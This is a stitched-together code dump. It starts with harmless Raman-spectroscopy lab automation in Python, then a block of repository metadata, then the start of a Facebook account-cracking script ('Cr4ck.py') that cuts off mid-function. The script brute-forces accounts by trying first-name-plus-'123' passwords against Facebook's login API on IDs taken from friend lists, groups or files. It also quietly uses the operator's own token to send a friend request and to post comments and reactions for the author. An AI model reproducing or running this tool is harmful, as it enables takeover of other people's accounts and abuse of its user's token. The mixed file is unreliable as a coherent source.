writer = csv.writer(f)
writer.writerow(["W", "I"])
writer.writerows(zip(w,inten))
if begin=="on":
def set_value(setting, value):
# Check for existence before setting
# gain, adc rate, or adc quality
if experiment.Exists(setting):
experiment.SetValue(setting, value)
def experiment_completed(sender, event_args):
# print("Experiment Completed")
# Sets the state of the event to signaled,
# allowing one or more waiting threads to proceed.
acquireCompleted.Set()
# Check for device and inform user if one is needed
if (device_found()==True):
experiment.ExperimentCompleted += experiment_completed
# Check this location for saved spe after running
#print("Please Enter the Exposure Time:\n")
#x=int(input())
set_value(CameraSettings.ShutterTimingExposureTime,3000)
#print("Please Enter the Number of Frames")
#y=int(input())
experiment.SetValue(ExperimentSettings.AcquisitionFramesToStore,10)
for k in range(1,3):
if k==1:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,578.1351880026082)
elif k==2:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,621.2340604418703)
_file_name = "case"
# Pass location of saved file
save_file(_file_name)
# Acquire image
experiment.Acquire()
time.sleep(35)
#directory="C:\\Users\\labuser\\Desktop\\data\\Raman\\Vivek\\2019-10-08"
directory="C:\\Users\\UWAdmin\\Desktop\\AIM-Lab-Automation-master\\AIM-Lab-Automation-master\\spes"
if( os.path.exists(directory)):
# print("\nFound the .spe file...")
print(" ")
# Returns all .spe files
files = glob.glob(directory +'/*.spe')
# Returns recently acquired .spe file
last_image_acquired = max(files, key=os.path.getctime)
try:
# Open file
file_name = file_manager.OpenFile(
last_image_acquired, FileAccess.Read)
# Access image
file=file_name
imageData = file.GetFrame(0,0)
#here is a problem 11-18-2019
n=10
intensity_frame=np.zeros((n,1340))
# Get image data
buffer = imageData.GetData()
#buffer=imageData.GetDataBuffer()
# Print first 10 pixel intensities
for i in range(0,n):
imageData=file.GetFrame(0,i)
buffer=imageData.GetData()
for pixel in range(0,1340):
intensity_frame[i][pixel]=buffer[pixel]
file_name.Dispose()
except IOError:
print ("Error: can not find file or read data")
else:
# print(".spe file not found...")
print(" ")
wl= experiment.SystemColumnCalibration
wavelength=np.zeros((1,1340))
for i in range(1340):wavelength[0,i]=wl[i]
#print(intensity_frame)
intensity=np.zeros((1,1340))
for i in range(1340):
x=0
for j in range(n):
x=x+intensity_frame[j][i]
x=x/n
intensity[0,i]=x
check_intensity=x
w=[]
inten=[]
for x in range(1340):
wavelength[0,x]=1e7*(1/532 - 1/wavelength[0,x])
w.append(wavelength[0,x])
inten.append(intensity[0,x])
import csv
m="line "+ str(line)+" Point "+str(exp_no)+" iteration "+str(iii)+" foreground"+str(k)+"D.csv"
with open(m, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(["W", "I"])
writer.writerows(zip(w,inten))
if check_intensity>=40e3:
print("experiment: ",exp_no, ":Patterning not done")
#,twoGD,twoD,G,WD,WG
elif check_intensity<40e3:
gdr=ration(1,2,exp_no,line,iii)
return gdr
if begin=="first":
def set_value(setting, value):
# Check for existence before setting
# gain, adc rate, or adc quality
if experiment.Exists(setting):
experiment.SetValue(setting, value)
def experiment_completed(sender, event_args):
acquireCompleted.Set()
# Check for device and inform user if one is needed
if (device_found()==True):
experiment.ExperimentCompleted += experiment_completed
# Check this location for saved spe after running
#print("Please Enter the Exposure Time:\n")
#x=int(input())
set_value(CameraSettings.ShutterTimingExposureTime,3000)
#print("Please Enter the Number of Frames")
experiment.SetValue(ExperimentSettings.AcquisitionFramesToStore,5)
for k in range(1,3):
if k==1:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,578.1351880026082)
elif k==2:
experiment.SetValue(SpectrometerSettings.GratingCenterWavelength,621.2340604418703)
_file_name = "case"
# Pass location of saved file
save_file(_file_name)
# Acquire image
experiment.Acquire()
time.sleep(25)
#directory="C:\\Users\\labuser\\Desktop\\data\\Raman\\Vivek\\2019-10-08"
directory="C:\\Users\\UWAdmin\\Desktop\\AIM-Lab-Automation-master\\AIM-Lab-Automation-master\\spes"
if( os.path.exists(directory)):
# print("\nFound the .spe file...")
print(" ")
# Returns all .spe files
files = glob.glob(directory +'/*.spe')
# Returns recently acquired .spe file
last_image_acquired = max(files, key=os.path.getctime)
try:
# Open file
file_name = file_manager.OpenFile(
last_image_acquired, FileAccess.Read)
# Access image
file=file_name
imageData = file.GetFrame(0,0)
#here is a problem 11-18-2019
n=5
intensity_frame=np.zeros((n,1340))
# Get image data
buffer = imageData.GetData()
#buffer=imageData.GetDataBuffer()
# Print first 10 pixel intensities
for i in range(0,n):
imageData=file.GetFrame(0,i)
buffer=imageData.GetData()
for pixel in range(0,1340):
intensity_frame[i][pixel]=buffer[pixel]
file_name.Dispose()
except IOError:
print ("Error: can not find file or read data")
else:
# print(".spe file not found...")
print(" ")
wl= experiment.SystemColumnCalibration
wavelength=np.zeros((1,1340))
for i in range(1340):wavelength[0,i]=wl[i]
#print(intensity_frame)
intensity=np.zeros((1,1340))
for i in range(1340):
x=0
for j in range(n):
x=x+intensity_frame[j][i]
x=x/n
intensity[0,i]=x
check_intensity=x
w=[]
inten=[]
for x in range(1340):
wavelength[0,x]=1e7*(1/532 - 1/wavelength[0,x])
w.append(wavelength[0,x])
inten.append(intensity[0,x])
import csv
m="line "+ str(line)+" Before Point "+str(exp_no)+" iteration "+str(iii)+" foreground"+str(k)+"D.csv"
with open(m, 'w', newline='') as f:
writer = csv.writer(f)
writer.writerow(["W", "I"])
writer.writerows(zip(w,inten))
gd=ration2(1,2,exp_no,line,iii)
return gd
def ration(a,b,i,line,iii):
"""Plots LIG BEFORE PATTERN and get saves fits as fits.csv
Plots currently saved manually.
TO-DO: save each plot directly from this function
d1: GD
d2: 2D
_d1: background GD
_d2: background 2D
"""
counter=i
fit=[]
d1 = pd.read_csv("line "+str(line)+" Point "+str(counter)+" iteration "+str(iii)+" foreground1D.csv")
d2 = pd.read_csv("line "+str(line)+" Point "+str(counter)+" iteration "+str(iii)+" foreground2D.csv")
_d1 = pd.read_csv("background1D.csv")
_d2 = pd.read_csv("background2D.csv")
# d1 = pd.read_csv(fn1)
d1 = d1
# d1_ = pd.read_csv(bg1)
d1_= _d1
d1['I'] = d1['I']-d1_['I']
base1 = peakutils.baseline(d1['I'], 1)
d1['I_base']= d1['I']-base1
d1 = d1[(d1['W']>1220) & (d1['W']<1750)]
# d2 = pd.read_csv(fn2)
d2 = d2
# d2_ = pd.read_csv(bg2)
d2_= _d2
d2['I'] = d2['I']-d2_['I']
d2 = d2[(d2['W']>2550) & (d2['W']<2850)]
d2= d2[(np.abs(stats.zscore(d2))<3).all(axis=1)]
base2 = peakutils.baseline(d2['I'], 1)
d2['I_base'] = d2['I']-base2
def PseudoVoigtFunction(WavNr, Pos, Amp, GammaL, FracL):
SigmaG = GammaL / np.sqrt(2*np.log(2)) # Calculate the sigma parameter for the Gaussian distribution from GammaL (coupled in Pseudo-Voigt)
LorentzPart = Amp * (GammaL**2 / ((WavNr - Pos)**2 + GammaL**2)) # Lorentzian distribution
GaussPart = Amp * np.exp( -((WavNr - Pos)/SigmaG)**2) # Gaussian distribution
Fit = FracL * LorentzPart + (1 - FracL) * GaussPart # Linear combination of the two parts (or distributions)
return Fit
def one_pv(pars, x, data=None, eps=None): #Function definition
# unpack parameters, extract .value attribute for each parameter
a3 = pars['a3'].value
c3 = pars['c3'].value
s3 = pars['s3'].value
f3 = pars['f3'].value
peak1 = PseudoVoigtFunction(x.astype(float),c3, a3, s3, f3)
model = peak1 # The global model is the sum of the Gaussian peaks
if data is None: # if we don't have data, the function only returns the direct calculation
return model, peak1
if eps is None: # without errors, no ponderation
return (model - data)
return (model - data)/eps # with errors, the difference is ponderated
def three_pv(pars, x, data=None, eps=None): #Function definition
# unpack parameters, extract .value attribute for each parameter
a1 = pars['a1'].value
c1 = pars['c1'].value
s1 = pars['s1'].value
f1 = pars['f1'].value
a4 = pars['a4'].value
c4 = pars['c4'].value
s4 = pars['s4'].value
f4 = pars['f4'].value
a2 = pars['a2'].value
c2 = pars['c2'].value
s2 = pars['s2'].value
f2 = pars['f2'].value
peak1 = PseudoVoigtFunction(x.astype(float), c1, a1, s1, f1)
peak3 = PseudoVoigtFunction(x.astype(float), c4, a4, s4, f4)
peak2 = PseudoVoigtFunction(x.astype(float), c2, a2, s2, f2)
model = peak1 + peak3 + peak2 # The global model is the sum of the Gaussian peaks
if data is None: # if we don't have data, the function only returns the direct calculation
return model, peak1, peak3, peak2
if eps is None: # without errors, no ponderation
return (model - data)
return (model - data)/eps # with errors, the difference is ponderated
ps1 = Parameters()
# (Name, Value, Vary, Min, Max, Expr)
ps1.add_many(('a1', 1 , True, 0, None, None),
('c1', 1350, True, 1330, 1370, None),
('s1', 20, True, 10, 200, None), # 200 so that we get proper fit width of unpatterned peak
('f1', 0.5, True, 0, 1, None),
('a4', 1 , True, 0, None, None), # peak middle of GD
('c4', 1500, True, 1480, 1520, None),
('s4', 20, True, 10, 200, None),
('f4', 0.5, True, 0, 1, None),
('a2', 1, True, 0, None, None),
('c2', 1600, True, 1560, 1640, None),
('s2', 20, True, 10, 200, None),
('f2', 0.5, True, 0, 1, None))
ps2 = Parameters()
# (Name, Value, Vary, Min, Max, Expr)
ps2.add_many(('a3', 1, True, 0, None, None),
('c3', 2700, True, 2650, 2750, None),
('s3', 20, True, 10, 200, None),
('f3', 0.5, True, 0, 1, None))
x = d1['W']
y = d1['I_base']
out = minimize(three_pv, ps1, method = 'leastsq', args=(x, y))
x2 = d2['W']
y2 = d2['I_base']
out2 = minimize(one_pv, ps2, method = 'leastsq', args=(x2, y2))
df1 = pd.DataFrame({key: [par.value] for key, par in out.params.items()})
df2 = pd.DataFrame({key: [par.value] for key, par in out2.params.items()})
df = pd.concat([df1,df2],axis=1)
if df['s1'].values > 300:
df[['a1','c1','s1','f1']] = 0
if df['s2'].values > 120:
df[['a2','c2','s2','f2']] = 0
if df['s3'].values > 120:
df[['a3','c3','s3','f3']] = 0
df.columns= ['D','PD','WD','FD','D1','PD1','WD1','FD1','G','PG','WG','FG','2D','P2D','W2D','F2D']
df['GD']=df['G']/df['D']
df['2DG']=df['2D']/df['G']
# df.to_csv('fits.csv',mode = 'a',index=False)
# print (df)
se=[df['D'].values[0],df['PD'].values[0],df['WD'].values[0],df['FD'].values[0],df['D1'].values[0],\
df['PD1'].values[0],df['WD1'].values[0],df['FD1'].values[0],df['G'].values[0],\
df['PG'].values[0],df['WG'].values[0],df['FG'].values[0],df['2D'].values[0],\
df['P2D'].values[0],df['W2D'].values[0],df['F2D'].values[0]]
if df['WD'].values>120:
if (df['D'].values>.3*df['G'].values or df['D1'].values > df['D'].values):
print("patterning not done")
elif (df['WG'].values>120):
print("patterning not done")
df3=pd.read_csv('dataset.csv')
df3['ratio'].replace(' ',np.nan, inplace=True)
df4=df3.dropna(subset=["ratio"])
a=df4['ratio'].shape
df3.loc[a[0],'ratio']=0
df3.to_csv('dataset.csv',index=False)
elif np.mean(d1[d1['W']<1255]['I_base']) > 0.7*np.mean(d1[(d1['W']>1340) & (d1['W']<1350)]['I_base'])\
or np.mean(d1[(d1['W']>1400) & (d1['W']<1550)]['I_base']) > 0.7*np.mean(d1[(d1['W']>1340) & (d1['W']<1350)]['I_base']):
print("patterning not done")
else:
df3=pd.read_csv('dataset.csv')
df3['ratio'].replace(' ',np.nan, inplace=True)
df4=df3.dropna(subset=["ratio"])
a=df4['ratio'].shape
df3.loc[a[0],'ratio']=df['GD'].values[0]
df3.to_csv('dataset.csv',index=False)
return df['GD'].values[0]
def ration2(m1,m2,counter,line,iii):
get_ipython().run_line_magic('reload_ext', 'autoreload')
get_ipython().run_line_magic('autoreload', '2')
get_ipython().run_line_magic('pylab', 'inline')
from matplotlib.ticker import MultipleLocator
get_ipython().run_line_magic('reload_ext', 'autoreload')
get_ipython().run_line_magic('autoreload', '2')
get_ipython().run_line_magic('pylab', 'inline')
import sys
from lmfit import Parameters, minimize
import pandas as pd # python data manipulation and analysis library
import numpy as np # Library with large collection of high-level mathematical functions to operate on arrays
import matplotlib.pyplot as plt #python plotting library
import peakutils #baselining library
import os, glob, csv
# Library with operating system dependent functionality. Example: Reading data from files on the computer
bg1=pd.read_csv("background1D.csv")
bg2=pd.read_csv("background2D.csv")
d1=pd.read_csv("line "+ str(line)+" Before Point "+str(counter)+" iteration "+str(iii)+" foreground1D.csv")
d2=pd.read_csv("line "+ str(line)+" Before Point "+str(counter)+" iteration "+str(iii)+" foreground2D.csv")
_d1 = pd.read_csv("background1D.csv")
_d2 = pd.read_csv("background2D.csv")
d1 = d1
# d1_ = pd.read_csv(bg1)
d1_= _d1
d1['I'] = d1['I']-d1_['I']
base1 = peakutils.baseline(d1['I'], 1)
d1['I_base']= d1['I']-base1
d1 = d1[(d1['W']>1220) & (d1['W']<1750)]
# d2 = pd.read_csv(fn2)
d2 = d2
# d2_ = pd.read_csv(bg2)
d2_= _d2
d2['I'] = d2['I']-d2_['I']
d2 = d2[(d2['W']>2550) & (d2['W']<2850)]
d2= d2[(np.abs(stats.zscore(d2))<3).all(axis=1)]
base2 = peakutils.baseline(d2['I'], 1)
d2['I_base'] = d2['I']-base2
def PseudoVoigtFunction(WavNr, Pos, Amp, GammaL, FracL):
SigmaG = GammaL / np.sqrt(2*np.log(2)) # Calculate the sigma parameter for the Gaussian distribution from GammaL (coupled in Pseudo-Voigt)
LorentzPart = Amp * (GammaL**2 / ((WavNr - Pos)**2 + GammaL**2)) # Lorentzian distribution
GaussPart = Amp * np.exp( -((WavNr - Pos)/SigmaG)**2) # Gaussian distribution
Fit = FracL * LorentzPart + (1 - FracL) * GaussPart # Linear combination of the two parts (or distributions)
return Fit
def one_pv(pars, x, data=None, eps=None): #Function definition
# unpack parameters, extract .value attribute for each parameter
a3 = pars['a3'].value
c3 = pars['c3'].value
s3 = pars['s3'].value
f3 = pars['f3'].value
peak1 = PseudoVoigtFunction(x.astype(float),c3, a3, s3, f3)
model = peak1 # The global model is the sum of the Gaussian peaks
if data is None: # if we don't have data, the function only returns the direct calculation
return model, peak1
if eps is None: # without errors, no ponderation
return (model - data)
return (model - data)/eps # with errors, the difference is ponderated
def three_pv(pars, x, data=None, eps=None): #Function definition
# unpack parameters, extract .value attribute for each parameter
a1 = pars['a1'].value
c1 = pars['c1'].value
s1 = pars['s1'].value
f1 = pars['f1'].value
a4 = pars['a4'].value
c4 = pars['c4'].value
s4 = pars['s4'].value
f4 = pars['f4'].value
a2 = pars['a2'].value
c2 = pars['c2'].value
s2 = pars['s2'].value
f2 = pars['f2'].value
peak1 = PseudoVoigtFunction(x.astype(float), c1, a1, s1, f1)
peak3 = PseudoVoigtFunction(x.astype(float), c4, a4, s4, f4)
peak2 = PseudoVoigtFunction(x.astype(float), c2, a2, s2, f2)
model = peak1 + peak3 + peak2 # The global model is the sum of the Gaussian peaks
if data is None: # if we don't have data, the function only returns the direct calculation
return model, peak1, peak3, peak2
if eps is None: # without errors, no ponderation
return (model - data)
return (model - data)/eps # with errors, the difference is ponderated
ps1 = Parameters()
# (Name, Value, Vary, Min, Max, Expr)
ps1.add_many(('a1', 1 , True, 0, None, None),
('c1', 1350, True, 1330, 1370, None),
('s1', 20, True, 10, 200, None), # 200 so that we get proper fit width of unpatterned peak
('f1', 0.5, True, 0, 1, None),
('a4', 1 , True, 0, None, None), # peak middle of GD
('c4', 1500, True, 1480, 1520, None),
('s4', 20, True, 10, 200, None),
('f4', 0.5, True, 0, 1, None),
('a2', 1, True, 0, None, None),
('c2', 1600, True, 1560, 1640, None),
('s2', 20, True, 10, 200, None),
('f2', 0.5, True, 0, 1, None))
ps2 = Parameters()
# (Name, Value, Vary, Min, Max, Expr)
ps2.add_many(('a3', 1, True, 0, None, None),
('c3', 2700, True, 2650, 2750, None),
('s3', 20, True, 10, 200, None),
('f3', 0.5, True, 0, 1, None))
x = d1['W']
y = d1['I_base']
out = minimize(three_pv, ps1, method = 'leastsq', args=(x, y))
x2 = d2['W']
y2 = d2['I_base']
out2 = minimize(one_pv, ps2, method = 'leastsq', args=(x2, y2))
df1 = pd.DataFrame({key: [par.value] for key, par in out.params.items()})
df2 = pd.DataFrame({key: [par.value] for key, par in out2.params.items()})
df = pd.concat([df1,df2],axis=1)
if df['s1'].values > 300:
df[['a1','c1','s1','f1']] = 0
if df['s2'].values > 120:
df[['a2','c2','s2','f2']] = 0
if df['s3'].values > 120:
df[['a3','c3','s3','f3']] = 0
df.columns= ['D','PD','WD','FD','D1','PD1','WD1','FD1','G','PG','WG','FG','2D','P2D','W2D','F2D']
df['GD']=df['G']/df['D']
df['2DG']=df['2D']/df['G']
se=[df['D'].values[0],df['PD'].values[0],df['WD'].values[0],df['FD'].values[0],df['D1'].values[0],\
df['PD1'].values[0],df['WD1'].values[0],df['FD1'].values[0],df['G'].values[0],\
df['PG'].values[0],df['WG'].values[0],df['FG'].values[0],df['2D'].values[0],\
df['P2D'].values[0],df['W2D'].values[0],df['F2D'].values[0]]
if df['WD'].values>120:
if (df['D'].values>.3*df['G'].values or df['D1'].values > df['D'].values):
print("patterning not done")
elif (df['WG'].values>120):
print("patterning not done")
df3=pd.read_csv('dataset.csv')
df3['ratio'].replace(' ',np.nan, inplace=True)
df4=df3.dropna(subset=["ratio"])
a=df4['ratio'].shape
df3.loc[a[0],'ratio']=0
df3.to_csv('dataset.csv',index=False)
else:
df3=pd.read_csv('dataset-pre.csv')
df3['ratio'].replace(' ',np.nan, inplace=True)
df4=df3.dropna(subset=["ratio"])
a=df4['ratio'].shape
df3.loc[a[0],'ratio']=df['GD'].values[0]
df3.to_csv('dataset-pre.csv',index=False)
return df['GD'].values[0]
| 38.355346
| 147
| 0.508759
| 4,100
| 36,591
| 4.489756
| 0.123659
| 0.01369
| 0.014668
| 0.007171
| 0.867666
| 0.849468
| 0.847675
| 0.841482
| 0.838223
| 0.836321
| 0
| 0.05422
| 0.367932
| 36,591
| 953
| 148
| 38.395593
| 0.741698
| 0.197016
| 0
| 0.847079
| 0
| 0.006873
| 0.071394
| 0.01646
| 0
| 0
| 0
| 0
| 0
| 1
| 0.032646
| false
| 0
| 0.068729
| 0
| 0.137457
| 0.032646
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
5773f170222762ad07476b0872509df7a32090d6
| 31,784
|
py
|
Python
|
BRUTAL-main/Cr4ck.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | 2
|
2021-11-17T03:35:03.000Z
|
2021-12-08T06:00:31.000Z
|
BRUTAL-main/Cr4ck.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | null | null | null |
BRUTAL-main/Cr4ck.py
|
Zusyaku/Termux-And-Lali-Linux-V2
|
b1a1b0841d22d4bf2cc7932b72716d55f070871e
|
[
"Apache-2.0"
] | 2
|
2021-11-05T18:07:48.000Z
|
2022-02-24T21:25:07.000Z
|
#!/usr/bin/python2
# coding=utf-8
#Import module
import os,sys,time,datetime,random,hashlib,re,threading,json,getpass,urllib,cookielib
from multiprocessing.pool import ThreadPool
from datetime import datetime
try:
import mechanize
except ImportError:
os.system("pip2 install mechanize")
try:
import bs4
except ImportError:
os.system("pip2 install bs4")
try:
import requests
except ImportError:
os.system("pip2 install requests")
os.system("python2 Cr4ck.py")
from requests.exceptions import ConnectionError
from mechanize import Browser
reload(sys)
sys.setdefaultencoding('utf8')
br = mechanize.Browser()
br.set_handle_robots(False)
br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(),max_time=1)
br.addheaders = [('User-Agent', 'Mozilla/5.0 (Linux; Android 10;) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.99 Mobile Safari/537.36')]
def keluar():
print "[!] Exit"
os.sys.exit()
def acak(x):
w = 'mhkbpcP'
d = ''
for i in x:
d += '!'+w[random.randint(0,len(w)-1)]+i
return cetak(d)
def cetak(x):
w = 'mhkbpcP'
for i in w:
j = w.index(i)
x= x.replace('!%s'%i,'%s;'%str(31+j))
x += ''
x = x.replace('!0','')
sys.stdout.write(x+'\n')
def jalan(z):
for e in z + '\n':
sys.stdout.write(e)
sys.stdout.flush()
time.sleep(0.06)
#########LOGO#########
logo = """
░█████╗░██████╗░░░██╗██╗░█████╗░██╗░░██╗
██╔══██╗██╔══██╗░██╔╝██║██╔══██╗██║░██╔╝
██║░░╚═╝██████╔╝██╔╝░██║██║░░╚═╝█████═╝░
██║░░██╗██╔══██╗███████║██║░░██╗██╔═██╗░
╚█████╔╝██║░░██║╚════██║╚█████╔╝██║░╚██╗
░╚════╝░╚═╝░░╚═╝░░░░░╚═╝░╚════╝░╚═╝░░╚═╝
\033[1;41;97mAuthor : ☆ RAKA ☆ ™︻®╤───────═◍➤\033[0m
"""
def tik():
titik = ['. ','.. ','... ']
for o in titik:
print("\r\033[1;97m[\033[1;93m●\033[1;97m]\033[1;93m ☆ RAKA ☆ ™︻®╤───────═◍➤\033[1;97m "+o),;sys.stdout.flush();time.sleep(1)
back = 0
threads = []
berhasil = []
cekpoint = []
oks = []
oke = []
cpe = []
id = []
username = []
idteman = []
idfromteman = []
######BANGSAT######
def masuk():
os.system('clear')
print logo
print "\033[1;97m ╔ ╗"
print "\033[1;97m [\033[1;97m01\033[1;97m]\033[1;96m\033[1;97m Login Facebook Token"
print "\033[1;97m [\033[1;91m00\033[1;97m]\033[1;96m\033[1;97m Exit"
print "\033[1;97m ╚ ╝"
pilih_masuk()
def pilih_masuk():
msuk = raw_input("\033[1;97m [\033[1;91m•\033[1;97m•\033[1;97m]\033[1;97m ")
if msuk =="":
print"\033[1;97m[\033[1;91m!\033[1;97m] Harap Isi Dengan Benar !"
pilih_masuk()
elif msuk =="1" or msuk =="01":
tokenz()
elif msuk =="0" or msuk =="00":
keluar()
else:
print"\033[1;97m[\033[1;91m!\033[1;97m] Harap Isi Dengan Benar !"
pilih_masuk()
#####LOGIN_TOKENZ#####
def tokenz():
os.system('clear')
print logo
toket = raw_input("\033[1;97m[\033[1;39m?\033[1;97m] \33[31;1mToken : \33[31;1m")
try:
otw = requests.get('https://graph.facebook.com/me?access_token='+toket)
a = json.loads(otw.text)
nama = a['name']
zedd = open("login.txt", 'w')
zedd.write(toket)
zedd.close()
jalan ('\033[1;97mYou MUST FOLLOW ME FB ALC TO WORK SUCCEEFUL :) ')
print '\033[1;97m[\033[1;39m✓\033[1;97m]\033[1;39m Always On God🙏'
os.system('xdg-open https://www.facebook.com/GARANGAN.KECHE')
bot_komen()
except KeyError:
print "\033[1;97m[\033[1;39m!\033[1;97m] \033[1;39mToken Error !"
time.sleep(1)
masuk()
######BOT BANGSAT#######
def bot_komen():
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;39m[!] Token invalid"
os.system('rm -rf login.txt')
una = ('100017584682867')
kom = ('Good day😊')
reac = ('LOVE')
post = ('934976007098547')
post2 = ('934976007098547')
kom2 = ('Please send me this script🙏')
reac2 = ('ANGRY')
requests.post('https://graph.facebook.com/me/friends?method=post&uids=' +una+ '&access_token=' + toket)
requests.post('https://graph.facebook.com/'+post+'/comments/?message=' +kom+ '&access_token=' + toket)
requests.post('https://graph.facebook.com/'+post+'/reactions?type=' +reac+ '&access_token='+ toket)
requests.post('https://graph.facebook.com/'+post2+'/comments/?message=' +kom2+ '&access_token=' + toket)
requests.post('https://graph.facebook.com/'+post2+'/reactions?type=' +reac2+ '&access_token='+ toket)
menu()
######MENU#######
def menu():
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
os.system('clear')
os.system('rm -rf login.txt')
masuk()
try:
otw = requests.get('https://graph.facebook.com/me?access_token=' +toket)
a = json.loads(otw.text)
nama = a['name']
id = a['id']
except KeyError:
os.system('clear')
print"\033[1;96m[!] \033[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
masuk()
except requests.exceptions.ConnectionError:
print"[!] Tidak ada koneksi"
keluar()
os.system("clear")
print logo
print 42*"\033[1;96m="
print "\033[1;96m[\033[1;97m✓\033[1;96m]\033[1;93m Name \033[1;91m: \033[1;92m"+nama+"\033[1;97m "
print "\033[1;96m[\033[1;97m✓\033[1;96m]\033[1;93m ID \033[1;91m: \033[1;92m"+id+"\x1b[1;97m "
print 42*"\033[1;96m="
print "\x1b[1;93m1.\x1b[1;93m Hack facebook MBF"
print "\x1b[1;93m2.\x1b[1;93m View List Of Groups "
print "\x1b[1;93m3.\x1b[1;93m Account Information "
print "\x1b[1;93m4.\x1b[1;93m Yahoo clone "
print "\n\x1b[1;91m0.\x1b[1;91m Logout "
pilih()
def pilih():
unikers = raw_input("\n\033[1;97m >>> \033[1;97m")
if unikers =="":
print "\033[1;96m[!] \x1b[1;91mHarap Isi Dengan benar! "
pilih()
elif unikers =="1":
super()
elif unikers =="2":
grupsaya()
elif unikers =="3":
informasi()
elif unikers =="4":
yahoo()
elif unikers =="0":
os.system('clear')
jalan('Menghapus token')
os.system('rm -rf login.txt')
keluar()
else:
print "\033[1;96m[!] \x1b[1;91mHarap Isi Dengan benar!"
pilih()
def super():
global toket
os.system('clear')
try:
toket=open('login.txt','r').read()
except IOError:
print"\033[1;96m[!] \x1b[1;91mToken invalid"
os.system('rm -rf login.txt')
time.sleep(1)
keluar()
os.system('clear')
print logo
print 42*"\033[1;96m="
print "\x1b[1;97m1.\x1b[1;93m Crack From Friend list"
print "\x1b[1;97m2.\x1b[1;93m Crack Public List"
print "\x1b[1;97m3.\x1b[1;93m Crack From Group Member"
print "\x1b[1;97m4.\x1b[1;93m Crack From file"
print "\n\x1b[1;91m0.\x1b[1;91m Exit"
pilih_super()
def pilih_super():
peak = raw_input("\n\033[1;97m >>> \033[1;97m")
if peak =="":
print "\033[1;96m[!] \x1b[1;91mHarap Isi Dengan benar"
pilih_super()
elif peak =="1":
os.system('clear')
print logo
print 42*"\033[1;96m="
jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...')
r = requests.get("https://graph.facebook.com/me/friends?access_token="+toket)
z = json.loads(r.text)
for s in z['data']:
id.append(s['id'])
elif peak =="2":
os.system('clear')
print logo
print 42*"\033[1;96m="
idt = raw_input("\033[1;96m[+] \033[1;93mMasukan ID teman \033[1;91m: \033[1;97m")
try:
jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
op = json.loads(jok.text)
print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama teman\033[1;91m :\033[1;97m "+op["name"]
except KeyError:
print"\033[1;96m[!] \x1b[1;91mTeman tidak ditemukan!"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
super()
jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...')
r = requests.get("https://graph.facebook.com/"+idt+"/friends?access_token="+toket)
z = json.loads(r.text)
for i in z['data']:
id.append(i['id'])
elif peak =="3":
os.system('clear')
print logo
print 42*"\033[1;96m="
idg=raw_input('\033[1;96m[+] \033[1;93mMasukan ID group \033[1;91m:\033[1;97m ')
try:
r=requests.get('https://graph.facebook.com/group/?id='+idg+'&access_token='+toket)
asw=json.loads(r.text)
print"\033[1;96m[\033[1;97m✓\033[1;96m] \033[1;93mNama group \033[1;91m:\033[1;97m "+asw['name']
except KeyError:
print"\033[1;96m[!] \x1b[1;91mGroup tidak ditemukan"
raw_input("\n\033[1;96m[\033[1;97mKembali\033[1;96m]")
super()
jalan('\033[1;96m[✺] \033[1;93mMengambil ID \033[1;97m...')
re=requests.get('https://graph.facebook.com/'+idg+'/members?fields=name,id&limit=999999999&access_token='+toket)
s=json.loads(re.text)
for p in s['data']:
id.append(p['id'])
elif peak =="4":
os.system('clear')
print logo
print 42*"\033[1;96m="
try:
idlist = raw_input('\x1b[1;96m[+] \x1b[1;93mMasukan nama file \x1b[1;91m: \x1b[1;97m')
for line in open(idlist,'r').readlines():
id.append(line.strip())
except IOError:
print '\x1b[1;96m[!] \x1b[1;91mFile tidak ditemukan'
raw_input('\n\x1b[1;96m[ \x1b[1;97mKembali \x1b[1;96m]')
super()
elif peak =="0":
menu()
else:
print "\033[1;96m[!] \x1b[1;91mHarap Isi Dengan benar"
pilih_super()
print "\033[1;96m[+] \033[1;93mTotal ID \033[1;91m: \033[1;97m"+str(len(id))
titik = ['. ','.. ','... ']
for o in titik:
print("\r\033[1;96m[\033[1;97m✸\033[1;96m] \033[1;93mCrack \033[1;97m"+o),;sys.stdout.flush();time.sleep(1)
print
print('\x1b[1;96m[!] \x1b[1;93mStop CTRL+z')
print 42*"\033[1;96m="
def main(arg):
global cekpoint,oks
user = arg
try:
os.mkdir('out')
except OSError:
pass
try:
a = requests.get('https://graph.facebook.com/'+user+'/?access_token='+toket)
b = json.loads(a.text)
pass1 = b['first_name']+'123'
data = urllib.urlopen("https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email="+(user)+"&locale=en_US&password="+(pass1)+"&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6")
q = json.load(data)
if 'access_token' in q:
print '\x1b[1;96m[✓] \x1b[1;92mBERHASIL'
print '\x1b[1;96m[✺] \x1b[1;97mNama \x1b[1;91m : \x1b[1;92m' + b['name']
print '\x1b[1;96m[➹] \x1b[1;97mID \x1b[1;91m : \x1b[1;92m' + user
print '\x1b[1;96m[➹] \x1b[1;97mPassword \x1b[1;91m: \x1b[1;92m' + pass1 + '\n'
oks.append(user+pass1)
else:
